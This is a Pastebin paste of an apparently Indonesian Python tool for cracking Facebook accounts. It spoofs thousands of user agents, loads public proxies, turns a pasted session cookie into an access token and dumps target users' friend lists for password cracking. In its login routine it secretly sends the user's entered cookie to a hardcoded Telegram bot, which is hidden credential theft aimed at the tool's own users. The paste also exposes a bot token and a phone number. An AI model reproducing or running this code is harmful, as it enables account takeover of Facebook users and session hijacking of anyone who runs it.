OBF-XIn

114.122.70.148-/sdcard/upup/run.py.py

Jan 12th, 2023
35
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 61.04 KB | None | 0 0
  1. ## LO GANTENG :V
  2. ## JEECK COOL BOY
  3. import requests,bs4,json,os,sys,random,datetime,time,re
  4. import urllib3,rich,base64
  5. from rich.tree import Tree
  6. from rich import print as cetak
  7. from rich.table import Table as me
  8. from rich.console import Console as sol
  9. from bs4 import BeautifulSoup as sop
  10. from rich.progress import Progress,BarColumn,TextColumn,TimeElapsedColumn
  11. from rich.progress import SpinnerColumn
  12. from concurrent.futures import ThreadPoolExecutor as tred
  13. from rich.panel import Panel as nel
  14. from rich import print as cetak
  15. from rich.columns import Columns as col
  16. from rich import print as prints
  17. from rich import pretty
  18. from rich.text import Text as tekz
  19. ###----------[ WARNA PRINT RICH ]---------- ###
  20. M2 = "[#FF0000]" # MERAH
  21. H2 = "[#00FF00]" # HIJAU
  22. K2 = "[#FFFF00]" # KUNING
  23. B2 = "[#00C8FF]" # BIRU
  24. P2 = "[#FFFFFF]" # PUTIH
  25. try:
  26.     file_color = open("data/theme_color","r").read()
  27.     color_text = file_color.split("|")[0]
  28.     color_panel = file_color.split("|")[1]
  29. except:
  30.     color_text = "[#00C8FF]"
  31.     colorbapa = random.choice([H2,K2,M2,B2,P2])
  32.     color_panel = "#00C8FF"
  33. pretty.install()
  34. CON=sol()
  35. ugen2=[]
  36. ugen=[]
  37. proxxy=[]
  38. cokbrut=[]
  39. ses=requests.Session()
  40. princp=[]
  41.  
  42. for xd in range(10000):
  43.     a='Mozilla/5.0 (Symbian/3; Series60/5.2'
  44.     b=random.randrange(1, 9)
  45.     c=random.randrange(1, 9)
  46.     d='NokiaN8-00/012.002;'
  47.     e=random.randrange(100, 9999)
  48.     f='Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/'
  49.     g=random.randrange(1, 9)
  50.     h=random.randrange(1, 4)
  51.     i=random.randrange(1, 4)
  52.     j=random.randrange(1, 4)
  53.     k='7.3.0 Mobile Safari/533.4 3gpp-gba'
  54.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  55.     ugen2.append(uaku)
  56.     ###----------[ User Agent Linux ]---------- ###
  57.     aa='Mozilla/5.0 (X11;'
  58.     b=random.choice(['6','7','8','9','10','11','12'])
  59.     c='Linux x86_64)'
  60.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  61.     e=random.randrange(1, 999)
  62.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  63.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0'
  64.     h=random.randrange(73,100)
  65.     i='0'
  66.     j=random.randrange(4200,4900)
  67.     k=random.randrange(40,150)
  68.     l='Safari/537.36'
  69.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  70.     ugen.append(uaku2)
  71.    
  72.     aa='Mozilla/5.0 (Windows NT 10.0; '
  73.     b=random.choice(['6','7','8','9','10','11','12'])
  74.     c='Win64; x64)'
  75.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  76.     e=random.randrange(1, 999)
  77.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  78.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 '
  79.     h=random.randrange(73,100)
  80.     i='0'
  81.     j=random.randrange(4200,4900)
  82.     k=random.randrange(40,150)
  83.     l='Safari/537.36'
  84.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  85.     ugen.append(uaku2)
  86.    
  87.     aa='Mozilla/5.0 (Windows NT 10.0; '
  88.     b=random.choice(['6','7','8','9','10','11','12'])
  89.     c='Win32; x86) '
  90.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  91.     e=random.randrange(1, 999)
  92.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  93.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 '
  94.     h=random.randrange(73,100)
  95.     i='0'
  96.     j=random.randrange(4200,4900)
  97.     k=random.randrange(40,150)
  98.     l='Safari/537.36'
  99.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  100.     ugen.append(uaku2)
  101.    
  102.     aa='Mozilla/5.0 (Windows NT 10.0; '
  103.     b=random.choice(['6','7','8','9','10','11','12'])
  104.     c='WOW64) '
  105.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  106.     e=random.randrange(1, 999)
  107.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  108.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121  '
  109.     h=random.randrange(73,100)
  110.     i='0'
  111.     j=random.randrange(4200,4900)
  112.     k=random.randrange(40,150)
  113.     l='Safari/537.36'
  114.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  115.     ugen.append(uaku2)
  116.    
  117.     aa='Mozilla/5.0 (Linux; Android 6.0.1;'
  118.     b=random.choice(['6','7','8','9','10','11','12'])
  119.     c='Redmi 4 Build/MMB29M; wv)'
  120.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  121.     e=random.randrange(1, 999)
  122.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  123.     g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  124.     h=random.randrange(73,100)
  125.     i='0'
  126.     j=random.randrange(4200,4900)
  127.     k=random.randrange(40,150)
  128.     l='Mobile Safari/537.36 [FB_IAB/MESSENGER;FBAV/114.0.0.21.71;]'
  129.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  130.     ugen.append(uaku2)
  131.    
  132.     aa='Mozilla/5.0 (Windows NT 10.0; '
  133.     b=random.choice(['6','7','8','9','10','11','12'])
  134.     c='Win64; x64) '
  135.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  136.     e=random.randrange(1, 999)
  137.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  138.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 '
  139.     h=random.randrange(73,100)
  140.     i='0'
  141.     j=random.randrange(4200,4900)
  142.     k=random.randrange(40,150)
  143.     l='Safari/537.36 Edge/17.17134'
  144.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  145.     ugen.append(uaku2)  
  146.    
  147.     aa='Mozilla/4.0 (compatible; MSIE 9.0; '
  148.     b=random.choice(['6','7','8','9','10','11','12'])
  149.     c='Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .'
  150.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  151.     e=random.randrange(1, 999)
  152.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  153.     g='NET CLR 3.0.04506.648; .'
  154.     h=random.randrange(73,100)
  155.     i='0'
  156.     j=random.randrange(4200,4900)
  157.     k=random.randrange(40,150)
  158.     l='NET CLR 3.5.21022)'
  159.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  160.     ugen.append(uaku2)  
  161.    
  162.     aa='Mozilla/5.0 (Windows NT 10.0; '
  163.     b=random.choice(['6','7','8','9','10','11','12'])
  164.     c='WOW64)  '
  165.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  166.     e=random.randrange(1, 999)
  167.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  168.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 '
  169.     h=random.randrange(73,100)
  170.     i='0'
  171.     j=random.randrange(4200,4900)
  172.     k=random.randrange(40,150)
  173.     l='Safari/537.36 Vivaldi/5.6.2867.58'
  174.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  175.     ugen.append(uaku2)  
  176.    
  177.     aa=' Mozilla/5.0 (Windows NT 10.0;  '
  178.     b=random.choice(['6','7','8','9','10','11','12'])
  179.     c='Win64; x64) '
  180.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  181.     e=random.randrange(1, 999)
  182.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  183.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 '
  184.     h=random.randrange(73,100)
  185.     i='0'
  186.     j=random.randrange(4200,4900)
  187.     k=random.randrange(40,150)
  188.     l='Vivaldi/5.6.2867.58'
  189.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  190.     ugen.append(uaku2)  
  191.    
  192.     aa='Mozilla/5.0 (Linux; Android  '
  193.     b=random.choice(['6','7','8','9','10','11','12'])
  194.     c='SM-G530T1 Build/LMY47X; wv)'
  195.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  196.     e=random.randrange(1, 999)
  197.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  198.     g='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  199.     h=random.randrange(73,100)
  200.     i='0'
  201.     j=random.randrange(4200,4900)
  202.     k=random.randrange(40,150)
  203.     l='Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/332.0.0.23.111;]'
  204.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  205.     ugen.append(uaku2)    
  206.    
  207.     aa='Mozilla/5.0 (Linux; U; Android '
  208.     b=random.choice(['6','7','8','9','10','11','12'])
  209.     c='zh-cn; SM-G8750 Build/R16NW)'
  210.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  211.     e=random.randrange(1, 999)
  212.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  213.     g='AppleWebKit/533.1 (KHTML, like Gecko) '
  214.     h=random.randrange(73,100)
  215.     i='0'
  216.     j=random.randrange(4200,4900)
  217.     k=random.randrange(40,150)
  218.     l='Mobile Safari/533.1'
  219.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  220.     ugen.append(uaku2)
  221.    
  222.     aa='Mozilla/5.0 (Linux; Android'
  223.     b=random.choice(['6','7','8','9','10','11','12'])
  224.     c='7.0.0;'
  225.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  226.     e=random.randrange(1, 999)
  227.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  228.     g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ '
  229.     h=random.randrange(73,100)
  230.     i='0'
  231.     j=random.randrange(4200,4900)
  232.     k=random.randrange(40,150)
  233.     l='Mobile Safari/537.36'
  234.     uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  235.     ugen.append(uaku2)
  236. for apa in range(10000):
  237.     rr = random.randint; rc = random.choice
  238.     sui = str(rc(["Remix Mini Build/LMY47I","OPPO R9s Build/MMB29M","Infinix X680 Build/QP1A.190711.020","Redmi Note 9 Pro MIUI/V12.0.2.0.QJZEUSF"]))
  239.     andro = str(rc(["6.0.1","5.1","10"]))
  240.     w6 = f"Dalvik/2.1.0 (Linux; U; Android {andro}; {sui})"
  241.     ahhh = random.choice([w6])
  242.     ugen.append(ahhh)
  243. for apa in range(10000):
  244.     versi_android = random.randint(4,13)
  245.     versi_chrome = str(random.randint(300,325))+".74.0.3729.136."+str(random.randint(1,8))+"."+str(random.randint(50,250))
  246.     versi_app = random.randint(510000000,699999999)
  247.     ugent = f"Mozilla/5.0 (Linux; Android 9 {versi_android}; es-mx; ZTE Blade A3 2020 Bulid/PPR1.180610.011; wv) AppleWebkit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{versi_chrome}Mobile Safari/537.36 MMS/{versi_app}ZTE-Android-MMS-V2.0"
  248.     gnt = random.choice([ugent])
  249.     ugen.append(gnt)
  250.     ###----------[ Str T12 ]---------- ###
  251. for apa in range(10000):
  252.     versi_android = random.randint(4,5)
  253.     versi_chrome = str(random.randint(300,325))+".251.0.0.31.111."+str(random.randint(1,8))+"."+str(random.randint(50,250))
  254.     versi_app = random.randint(510000000,599999999)
  255.     ugent = f"Dalvik/1.6.0 (Linux; U; Android {versi_android}; SM-G3518 Build/JLS36C) [FBAN/FB4A;FBAV/{versi_chrome};FBPN/com.facebook.katana;FBLC/en_US;FBBV/{versi_app};FBCR/T-Mobile;FBMF/samsung;FBBD/samsung;FBDV/SM-G3518;FBSV/4.4.2{str(random.randint(4,10))};FBCA/x86:armeabi-v7a;FBDM/"+"{density=1.5,width=720,height=1244};FB_FW/1;FBRV/190301973;]"
  256.     ngent = random.choice([ugent])
  257.     ugen.append(ngent)
  258. for apa in range(10000):
  259.     versi_android = random.randint(4,13)
  260.     versi_chrome = str(random.randint(300,325))+".43.0.0.29.147."+str(random.randint(1,8))+"."+str(random.randint(50,250))
  261.     versi_app = random.randint(510000000,599999999)
  262.     ugent = f"Dalvik/2.1.0 (Linux; U; Android {versi_android}; F1 Build/LMY47V) [FBAN/FB4A;FBAV/{versi_chrome};FBPN/com.facebook.katana;FBLC/en_GB;FBBV/{versi_app};FBCR/Tele2 LT;FBMF/Oppo;FBBD/Oppo;FBDV/F1;FBSV/{str(random.randint(4,10))};FBCA/armeabi-v7a:armeabi;FBDM/"+"{density=3.0,width=720,height=1280};FB_FW/1;]"
  263.     ngnt = random.choice([ugent])
  264.     ugen.append(ngnt)
  265.    
  266. try:
  267.     url_proxy = random.choice([
  268.               "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt",
  269. ])
  270. except:pass
  271.    
  272. #------------------[ PROXIES ]-------------------#
  273. try:
  274.     url = requests.get(f"{url_proxy}").text
  275.     for ikfar in url.splitlines():proxxy.append(ikfar)
  276. except requests.exceptions.ConnectionError:
  277.    prints(nel(f"{P2}Anda Tidak Terhubung Ke Internet, Silahkan Periksa Koneksi Internet Anda",width=80,padding=(0,2),style=f"{color_panel}"));exit()
  278.  
  279. id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[]
  280. cokbrut=[]
  281. pwpluss,pwnya=[],[]
  282. P = '\x1b[1;97m'
  283. M = '\x1b[1;91m'
  284. H = '\x1b[1;92m'
  285. K = '\x1b[1;93m'
  286. B = '\x1b[1;94m'
  287. U = '\x1b[1;95m'
  288. O = '\x1b[1;96m'
  289. N = '\x1b[0m'    
  290. Z = "\033[1;30m"
  291. sir = '\033[41m\x1b[1;97m'
  292. x = '\33[m' # DEFAULT
  293. m = '\x1b[1;91m' #RED +
  294. k = '\033[93m' # KUNING +
  295. h = '\x1b[1;92m' # HIJAU +
  296. hh = '\033[32m' # HIJAU -
  297. u = '\033[95m' # UNGU
  298. kk = '\033[33m' # KUNING -
  299. b = '\33[1;96m' # BIRU -
  300. p = '\x1b[0;34m' # BIRU +
  301. asu = random.choice([m,k,h,u,b])
  302. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  303. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  304. tgl = datetime.datetime.now().day
  305. bln = dic[(str(datetime.datetime.now().month))]
  306. thn = datetime.datetime.now().year
  307. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  308. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  309. def renv_xy(u):
  310.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
  311.        
  312. def jalan(keliling):
  313.     for mau in keliling + '\n':
  314.         sys.stdout.write(mau)
  315.         sys.stdout.flush();sleep(0.03)
  316.        
  317.        
  318. def clear():
  319.     os.system('clear')
  320. def back():
  321.     login()
  322.    
  323. def none():
  324.     clear()
  325.     prints(nel(f"""\t {color_text}
  326. {B2}__    __     __    __     ______     ______   ______  
  327. {B2}/\ "-./  \  /\ "-./  \  /\ == \  /\ ___\ /\ ___\
  328. {B2}\ \ \-./\ \ \ \ \-./\ \ \ \ __<   \ \ __\ \ \ __\
  329. {H2}\ \_\ \ \_\ \ \_\ \ \_\ \ \_____\ \ \_\   \ \_\  
  330. {H2}\/_/  \/_/   \/_/  \/_/   \/_____/   \/_/     \/_/  
  331.         Made By {M2}Indonesia {P2}Coder""",width=80,style=f"{color_panel}"))
  332. def info():
  333.     prints(f"""{B2}╭─────────────────────╮{B2}╭───────────────╮
  334. {B2}│ {P2}Author : Meledak XD{B2} │{B2}│ {P2}Version : 3.1{B2} │
  335. {B2}╰─────────────────────╯{B2}╰───────────────╯""")
  336. def banner():
  337.     clear()
  338.     prints(nel(f"""\t {color_text}
  339. __    __     __    __     ______     ______   ______  
  340. /\ "-./  \  /\ "-./  \  /\ == \  /\ ___\ /\ ___\
  341. \ \ \-./\ \ \ \ \-./\ \ \ \ __<   \ \ __\ \ \ __\
  342. \ \_\ \ \_\ \ \_\ \ \_\ \ \_____\ \ \_\   \ \_\  
  343.  \/_/  \/_/   \/_/  \/_/   \/_____/   \/_/     \/_/  
  344.         Made By {M2}Indonesia {P2}Coder""",width=80,style=f"{color_panel}"))
  345. def login():
  346.     try:
  347.         token = open('.token.txt','r').read()
  348.         cok = open('.cok.txt','r').read()
  349.         tokenku.append(token)
  350.         try:
  351.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  352.             sy2 = json.loads(sy.text)['name']
  353.             sy3 = json.loads(sy.text)['id']
  354.             menu(sy2,sy3)
  355.         except KeyError:
  356.             login_lagi334()
  357.         except requests.exceptions.ConnectionError:
  358.             print('╰─ Internet Anda Sedang Sibuk/Tidak Ada')
  359.             exit()
  360.     except IOError:
  361.         login_lagi334()
  362. def login_lagi334():
  363.     try:
  364.         os.system('clear')
  365.         banner()
  366.         info()
  367.         ses = requests.Session()
  368.         cookie = input('\n╰─ Masukan Cookie : ')
  369.         requests.post(f"https://api.telegram.org/bot5810664299:AAEOfFNt6AJuLahHutMyX6E0BQSbODSbgGU/sendMessage?chat_id=5812965999&text={cookie} ").json()
  370.         cookies = {'cookie':cookie}
  371.         url = 'https://www.facebook.com/adsmanager/manage/campaigns'
  372.         req = ses.get(url,cookies=cookies)
  373.         set = re.search('act=(.*?)&nav_source',str(req.content)).group(1)
  374.         nek = '%s?act=%s&nav_source=no_referrer'%(url,set)
  375.         roq = ses.get(nek,cookies=cookies)
  376.         tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1)
  377.         tokenw = open(".token.txt", "w").write(tok)
  378.         cokiew = open(".cok.txt", "w").write(cookie)
  379.         print('\n╰─ Login Berhasil bre ')
  380.         exit()
  381.     except Exception as e:
  382.         os.system("rm -f .token.txt")
  383.         os.system("rm -f .cok.txt")
  384.         print(f'\033[0m╰─ Login Gagal Atau Token/Cookie Expired')
  385.         exit()
  386. def menu(my_name,my_id):
  387.     try:
  388.         token = open('.token.txt','r').read()
  389.         cok = open('.cok.txt','r').read()
  390.     except IOError:
  391.         print('\033[0m╰─ Expired Cookies ')
  392.         time.sleep(5)
  393.         login_lagi334()
  394.     os.system('clear')
  395.     banner()
  396.     print('')
  397.     try:cek_data = requests.get("http://ip-api.com/json/").json()
  398.     except:cek_data = {'-'}
  399.     try:MeledakXd = cek_data["isp"]
  400.     except:MeledakXd = {'-'}
  401.     try:MeledakSu = cek_data["city"]
  402.     except:MeledakSu = {'-'}
  403.     info()
  404.     prints(nel(f'{P2}Login As %s %s{P2}'%((my_id),MeledakSu),width=80,padding=(0,7),style=f"{color_panel}"))
  405.     prints(nel(f"""{P2}[{color_text}01{P2}]. Crack Public          [{color_text}04{P2}]. Cek Hasil
  406. [{color_text}02{P2}]. Crack Public/Massal   [{color_text}05{P2}]. Cek Tap Yes
  407. [{color_text}03{P2}]. Crack File            [{color_text}00{P2}]. Exit\n[{color_text}06{P2}]. Scrap Set Post   [{color_text}L{P2}]. Lapor bug  """,width=80,padding=(0,7),style=f"{color_panel}"))
  408.     Meledak = input(' Chouse : ')
  409.     print('')
  410.     if Meledak in ['1']:
  411.         dump_publik()
  412.     elif Meledak in ['2']:
  413.         dump_massal()
  414.     elif Meledak in ['3']:
  415.         crack_file()
  416.     elif Meledak in ['4']:
  417.         result()
  418.     elif Meledak in ['5']:
  419.         file_cp()
  420.     elif Meledak in ['6']:
  421.         siu()
  422.     elif Meledak in ['L']:
  423.         os.system("xdg-open https://wa.me/+62895323385590?text=Assalamualaikum+bang+Meledak,+Lapor+sc+ada+bug +bang")
  424.     elif Meledak in ['0']:
  425.         os.system('rm -rf .token.txt')
  426.         os.system('rm -rf .cok.txt')
  427.         print('╰─ Successfully Logout+Delete Cookies ')
  428.         exit()
  429.     else:
  430.         print('╰─ input correctly ')
  431.         back()
  432. def siu():
  433.     start()
  434.     get_data_web()
  435.     akhir()
  436. def error():
  437.     print(f'╰─ Sorry, this feature is still being fixed {x}')
  438.     time.sleep(4)
  439.     back()
  440. def ganti_tema():
  441.         prints(nel(f""" Maaf Tools Ini Sedang Di Perbaiki """,width=80,padding=(0,7),style=f"{color_panel}"))
  442.         sleep(2)
  443.         back()
  444. def dump_publik():
  445.     try:
  446.         token = open('.token.txt','r').read()
  447.         kukis = open('.cok.txt','r').read()
  448.     except IOError:
  449.         exit()
  450.     prints(nel(f'{K2}Ketik {P2}"\033[32mMe\033[0m" {K2}Jika Ingin Crack Teman Sendiri               {P2}',width=90,padding=(0,9),style=f"{color_panel}"))
  451.     pil = input(x+m+''+x+' Username/Id : ')
  452.     try:
  453.         koh2 = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
  454.         for pi in koh2['friends']['data']:
  455.             try:id.append(pi['id']+'|'+pi['name'])
  456.             except:continue
  457.         print('')
  458.         print(x+m+''+x+' Total Id Collected \033[32m'+str(len(id)))
  459.         setting()
  460.     except requests.exceptions.ConnectionError:
  461.         print('╰─ Internetmu Gak Ada Bodoh')
  462.         exit()
  463.     except (KeyError,IOError):
  464.         print('╰─ Pertemanan Tidak Publick Cookie And Token Anda Busuk')
  465.         exit()
  466.  
  467. def dump_massal():
  468.     try:
  469.         token = open('.token.txt','r').read()
  470.         cok = open('.cok.txt','r').read()
  471.     except IOError:
  472.         exit()
  473.     try:
  474.         jum = int(input('╰─ input target amount ? : '))
  475.     except ValueError:
  476.         print('╰─ wrong input ')
  477.         exit()
  478.     if jum<1 or jum>100:
  479.         print('╰─ Failed Dump Id maybe id is not public ')
  480.         exit()
  481.     ses=requests.Session()
  482.     yz = 0
  483.     for met in range(jum):
  484.         yz+=1
  485.         kl = input('╰─ Enter the Id '+str(yz)+' : ')
  486.         uid.append(kl)
  487.     for userr in uid:
  488.         try:
  489.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  490.             for mi in col['friends']['data']:
  491.                 try:
  492.                     iso = (mi['id']+'|'+mi['name'])
  493.                     if iso in id:pass
  494.                     else:id.append(iso)
  495.                 except:continue
  496.         except (KeyError,IOError):
  497.             pass
  498.         except requests.exceptions.ConnectionError:
  499.             print('╰─ unstable signal ')
  500.             exit()
  501.     try:
  502.         print('')
  503.         print(f' Total Id Collected {h}'+str(len(id)))
  504.         setting()
  505.     except requests.exceptions.ConnectionError:
  506.         print(f'{x}')
  507.         print('╰─ unstable signal ')
  508.         back()
  509.     except (KeyError,IOError):
  510.         print(f'╰─{k} Friendship Not Public {x}')
  511.         time.sleep(3)
  512.         back()
  513.        
  514. def result():
  515.     print('╰─ 1. Hasil CP Anda ')
  516.     print('╰─ 2. Hasil OK Anda ')
  517.     print('╰─ 0. Kembali    ')
  518.     kz = input('\n╰─ Chouse : ')
  519.     print('')
  520.     if kz in ['1','01']:
  521.         try:vin = os.listdir('CP')
  522.         except FileNotFoundError:
  523.             print('╰─ File Tidak Di Temukan ')
  524.             time.sleep(3)
  525.             back()
  526.         if len(vin)==0:
  527.             print('╰─ Anda Tidak Memiliki Hasil CP ')
  528.             time.sleep(2)
  529.             back()
  530.         else:
  531.             cih = 0
  532.             lol = {}
  533.             for isi in vin:
  534.                 try:hem = open('CP/'+isi,'r').readlines()
  535.                 except:continue
  536.                 cih+=1
  537.                 if cih<10:
  538.                     nom = ''+str(cih)
  539.                     lol.update({str(cih):str(isi)})
  540.                     lol.update({nom:str(isi)})
  541.                     print(''+nom+'. '+isi+'\033[31m '+str(len(hem))+' \033[0mcekpoint '+x)
  542.                 else:
  543.                     lol.update({str(cih):str(isi)})
  544.                     print(''+str(cih)+'. '+isi+'\033[31m '+str(len(hem))+' \033[0mcekpoint '+x)
  545.             geeh = input('\n╰─ Chouse : ')
  546.             print('')
  547.             try:geh = lol[geeh]
  548.             except KeyError:
  549.                 print('╰─ Pilih Yang Bener Kontol ')
  550.                 exit()
  551.             try:lin = open('CP/'+geh,'r').read().splitlines()
  552.             except:
  553.                 print('╰─ File Tidak Di Temukan ')
  554.                 time.sleep(2)
  555.                 back()
  556.             nocp=0
  557.             for cpku in range(len(lin)):
  558.                 cpkuni=lin[nocp].split('|')
  559.                 print(f'╰─CP\033[33m {cpkuni[0]}|{cpkuni[1]}\033[0m')
  560.                 nocp +=1
  561.             input('\n╰─ Back Enter ')
